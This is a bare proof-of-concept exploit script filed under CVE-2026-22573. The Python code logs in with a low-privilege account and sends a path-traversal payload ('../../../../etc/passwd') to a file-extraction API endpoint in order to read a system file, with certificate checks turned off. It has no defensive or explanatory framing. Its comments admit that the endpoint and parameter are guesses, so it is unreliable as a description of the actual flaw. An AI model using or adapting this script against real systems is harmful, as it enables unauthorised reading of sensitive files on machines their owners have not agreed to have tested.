CVE-2026-22573

import requests # Target URL for the vulnerable endpoint (Hypothetical based on description) target_url = "https://<target-ip>/api/file_content_extraction" # Attacker credentials (Low privilege required) auth = ("low_priv_user", "password") # Payload attempting to read /etc/passwd using path traversal # The parameter name 'file_path' is an example based on "File Content Extraction actions" payload = { "file_path": "../../../../etc/passwd", "action": "extract" } try: # Send POST request with authentication response = requests.post(target_url, auth=auth, json=payload, verify=False) # Check if the attack was successful if response.status_code == 200 and "root:" in response.text: print("[+] Exploit successful! File content retrieved:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") print("Status code:", response.status_code) print("Response:", response.text[:200]) # Print partial response to avoid clutter except Exception as e: print(f"Error: {e}")

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